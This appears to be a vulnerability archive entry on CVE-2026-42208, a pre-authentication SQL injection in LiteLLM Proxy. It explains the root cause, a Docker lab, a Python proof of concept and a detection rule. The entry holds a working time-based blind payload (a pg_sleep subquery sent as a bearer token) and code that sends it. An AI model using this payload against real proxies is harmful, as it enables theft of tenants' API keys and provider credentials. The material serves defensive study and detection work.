LiteLLM Proxy Pre-Authentication SQL Injection via Error-Handling Callback (CVE-2026-42208)

Metadata

Affected Target

Summary

LiteLLM Proxy authenticates API requests by checking that the Authorization: Bearer token starts with sk-. When a caller sends a token that does not start with sk-, that assertion fails — but instead of simply rejecting the request, the raw, unhashed token is passed into an error-handling/failure-callback chain (_handle_authentication_error → post_call_failure_hook → _enrich_failure_metadata_with_key_info → get_key_object) that ends in a database lookup built with raw f-string interpolation: WHERE v.token = '{token}'. Because this path is only reached when the token doesn’t match the sk- prefix, it bypasses the normal authenticated flow entirely — the main sk- path is safe because tokens there are SHA-256 hashed before reaching any query. An unauthenticated attacker can inject SQL through this side path, using time-based blind techniques to extract data including other users’ API keys and upstream LLM provider credentials from the proxy’s own database. Sysdig observed real-world exploitation beginning roughly 26 hours after the GitHub Security Advisory was published — among the fastest mass-exploitation timelines recorded for an AI-infrastructure CVE.

Vulnerability Details

Root Cause

Tracked as CWE-89 (SQL Injection). The vulnerable code (pre-fix, litellm/proxy/utils.py) builds a query against the LiteLLM_VerificationToken view using Python f-string interpolation of the raw caller-supplied token:

1
2
3
4
5
6

sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   # <- raw f-string interpolation of user input
"""

This code path is normally unreachable because valid requests carry a sk--prefixed token that gets SHA-256 hashed (producing only [0-9a-f] characters — nothing injectable) before any query touches it. The bug is that a token failing the sk- prefix assertion doesn’t short-circuit cleanly — it flows through the failure/error-handling callback chain, which independently calls get_key_object(hashed_token=RAW_TOKEN) using the unhashed, attacker-controlled value, landing directly in the vulnerable f-string query.

Attack Vector

1. Send an HTTP request to any LLM API route (e.g. POST /chat/completions) with Authorization: Bearer <payload>, where <payload> does not start with sk- (so it fails the fast-path assertion and falls into the error-handling chain).
2. The payload is SQL: a PostgreSQL-specific time-based blind injection wrapped to avoid a boolean-context type error (pg_sleep() returns void), e.g. ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--.
3. Compare response timing against baseline/control requests — a consistent delay matching the injected pg_sleep(N) confirms the injection reaches the database, and the same technique can be extended to extract data character-by-character via conditional time delays.

No authentication, valid API key, or user interaction is required — only network reachability to the proxy.

Impact

Full database read access via blind SQL injection, without authentication: extraction of other tenants’ API keys, upstream LLM provider credentials (OpenAI/Anthropic/etc. keys managed by the proxy), and runtime configuration. In a multi-tenant LiteLLM deployment this is a complete confidentiality breach of every credential the gateway manages — attackers were observed specifically targeting litellm_credentials.credential_values and litellm_config tables in the wild.

Environment / Lab Setup

Target:      litellm/litellm:main-v1.83.3-stable + PostgreSQL 16 (docker-compose.yaml in this folder)
Attacker:    Any host with Python 3 + requests
Tools:       Docker + docker compose, python3

Setup Steps

1
2

docker compose up -d
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

Proof of Concept

See poc_litellm_sqli.py, docker-compose.yaml, and litellm_config.yaml in this folder — mirrored from imjdl/CVE-2026-42208_lab. Verified before ingestion: the lab stands up the real, unmodified litellm/litellm:main-v1.83.3-stable image against Postgres, the PoC script uses only the requests library with no obfuscation, and its technique (time-based blind injection via the error-handling callback path) matches LiteLLM’s own postmortem and Sysdig’s independent analysis exactly — including the specific vulnerable f-string query and the real fix commit reference.

Step-by-Step Reproduction

1. Stand up the vulnerable lab — docker compose up -d boots LiteLLM v1.83.3 with a Postgres backend.
2. Measure baseline timing — the script sends several requests with an ordinary (non-injecting) sk--style token to establish normal response latency.
3. Send a control payload — a non-sk- token with no pg_sleep() call, confirming the error path alone doesn’t introduce delay.
4. Send the time-based blind injection payload — ' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL-- as the bearer token; a response delayed by ~N seconds beyond baseline confirms the injection reached PostgreSQL.

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

def make_payload(delay: int) -> str:
    """pg_sleep returns void, wrap in subquery to avoid boolean type error."""
    return f"' OR (SELECT 1 FROM (SELECT pg_sleep({delay})) t) IS NOT NULL--"

def send(session, target, token, timeout=10):
    start = time.time()
    session.post(
        f"{target}/chat/completions",
        headers={"Authorization": f"Bearer {token}"},
        json={"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "test"}], "max_tokens": 1},
        timeout=timeout,
    )
    return time.time() - start

Expected Output

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

Detection & Indicators of Compromise

POST /chat/completions ... Authorization: Bearer '<sql-payload>

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Possible CVE-2026-42208 LiteLLM proxy SQLi attempt"; content:"Authorization|3a| Bearer"; http_header; content:!"sk-"; http_header; pcre:"/pg_sleep|UNION|--/i"; sid:9000301; rev:1;)

Remediation

References

• GHSA-r75f-5x8p-qvmc — GitHub Security Advisory
• LiteLLM’s own security update post
• Sysdig — Targeted SQL injection against LiteLLM’s authentication path, discovered 36 hours after disclosure
• Bishop Fox — Pre-Authentication SQL Injection in LiteLLM Proxy
• The Hacker News — LiteLLM CVE-2026-42208 SQL Injection Exploited within 36 Hours of Disclosure
• Public PoC lab — imjdl/CVE-2026-42208_lab
• Fix commit 4dc416ee74

Notes

Surfaced via a 14-day CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11, then verified before ingestion per this archive’s standing rule. An initial WebSearch pass found only vendor/researcher technical writeups and no PoC; a follow-up gh search repos "CVE-2026-42208" surfaced several candidate repos, of which imjdl/CVE-2026-42208_lab was selected as the primary source after confirming its files genuinely exist, use no obfuscation, and match the documented vulnerability mechanics exactly (including the specific vulnerable query and real fix commit). A second candidate, 0xBlackash/CVE-2026-42208, was checked and found to be a weaker/less rigorous script (a generic boolean-payload probe with no real confirmation of injection, and a mismatched repo description referencing a different CVE) — not used as the primary source, though not flagged as malicious either.

A companion CVE, CVE-2026-12569 (PTC Windchill/FlexPLM pre-auth deserialization RCE, also KEV-listed, also actively exploited via JSP web shells), was evaluated in the same discovery pass but confirmed to have no public exploit code anywhere — only YARA/Snort/Suricata detection rules and threat-intel writeups exist, consistent with it remaining unpatched (PTC’s fix is scheduled 2026-07-14) at time of this entry. Not archived.